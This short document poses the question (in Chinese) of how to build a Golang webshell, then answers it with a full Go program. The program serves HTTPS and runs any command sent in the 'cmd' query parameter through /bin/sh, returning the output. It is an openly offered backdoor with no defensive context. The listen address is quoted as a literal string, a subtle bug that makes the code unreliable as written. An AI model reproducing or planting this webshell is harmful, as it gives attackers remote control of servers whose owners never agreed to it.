如何实现一个基于 Golang 的 webshell？

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package main

import (
   "fmt"
   "log"
   "net/http"
   "os"
   "os/exec"
)

var shell = "/bin/sh"
var shellArg = "-c"

func main() {
   if len(os.Args) != 2 {
      fmt.Printf("Usage: %s <listenAddress>\n", os.Args[0])
      fmt.Printf("Example: %s localhost:8080\n", os.Args[0])
      os.Exit(1)
   }

   http.HandleFunc("/", requestHandler)
   log.Println("Listening for HTTPS requests.")
   err := http.ListenAndServeTLS( 
      "os.Args[1]", 
      "cert.pem", 
      "privateKey.pem", 
      nil, 
   )
   if err != nil {
      log.Fatal("Error creating server. ", err)
   }
}

func requestHandler(writer http.ResponseWriter, request *http.Request) {
   // Get command to execute from GET query parameters
   cmd := request.URL.Query().Get("cmd")
   if cmd == "" {
      fmt.Fprintln(
         writer,
         "No command provided. Example: /?cmd=whoami")
      return
   }

   log.Printf("Request from %s: %s\n", request.RemoteAddr, cmd)
   fmt.Fprintf(writer, "You requested command: %s\n", cmd)

   // Run the command
   command := exec.Command(shell, shellArg, cmd)
   output, err := command.Output()
   if err != nil {
      fmt.Fprintf(writer, "Error with command.\n%s\n", err.Error())
   }

   // Write output of command to the response writer interface
   fmt.Fprintf(writer, "Output: \n%s\n", output)
}